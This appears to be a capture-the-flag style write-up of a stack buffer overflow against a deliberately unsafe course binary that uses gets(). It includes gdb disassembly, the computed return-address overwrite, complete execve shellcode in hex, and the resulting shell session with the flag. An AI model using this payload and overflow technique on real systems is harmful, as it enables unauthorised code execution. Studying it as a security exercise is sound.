The makefile is interesting and I think the professor tried his best to
make the program unsafe.
Just run gdb and see what happens:

```
invoke -d dejavu
break deja_vu
run
x/24i $pc
#- ---------------
=> 0xb7ffc4ab <deja_vu+6>:	sub    $0xc,%esp
   0xb7ffc4ae <deja_vu+9>:	lea    -0x10(%ebp),%eax
   0xb7ffc4b1 <deja_vu+12>:	push   %eax
   0xb7ffc4b2 <deja_vu+13>:	call   0xb7ffc75e <gets>
   0xb7ffc4b7 <deja_vu+18>:	add    $0x10,%esp
   0xb7ffc4ba <deja_vu+21>:	nop
   0xb7ffc4bb <deja_vu+22>:	leave  
   0xb7ffc4bc <deja_vu+23>:	ret    
   0xb7ffc4bd <main>:	lea    0x4(%esp),%ecx
   0xb7ffc4c1 <main+4>:	and    $0xfffffff0,%esp
   0xb7ffc4c4 <main+7>:	pushl  -0x4(%ecx)
   0xb7ffc4c7 <main+10>:	push   %ebp
   0xb7ffc4c8 <main+11>:	mov    %esp,%ebp
   0xb7ffc4ca <main+13>:	push   %ecx
   0xb7ffc4cb <main+14>:	sub    $0x4,%esp
   0xb7ffc4ce <main+17>:	call   0xb7ffc4a5 <deja_vu>
   0xb7ffc4d3 <main+22>:	mov    $0x0,%eax
   0xb7ffc4d8 <main+27>:	add    $0x4,%esp
   0xb7ffc4db <main+30>:	pop    %ecx
   0xb7ffc4dc <main+31>:	pop    %ebp
   0xb7ffc4dd <main+32>:	lea    -0x4(%ecx),%esp
   0xb7ffc4e0 <main+35>:	ret    
   0xb7ffc4e1 <dummy>:	ret    
   0xb7ffc4e2 <dummy1>:	ret    
```

Then we go to the call instruction.

```
break *0xb7ffc4b2
c
```

I saw that eax is 0xbffffab8. The return address should original be 0xb7ffc4d3 (in main), and I can easily find it at 0xbffffacc. So I should put payload at 0xbffffad0 and input `0123456789abcdef0123456789abcdef01234567 + bffffa40 + payload`, where paylaod is `6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a`. After fixing byte sequence problem with python, the input.txt is ready.

Now I can see 
```
pwnable:~$ ./exploit 
dumb-shell $ id
uid=1002(smith) gid=1001(vsftpd) groups=1001(vsftpd)
dumb-shell $ cat README
You have to let it all go. Fear, doubt, and disbelief. Free your mind.
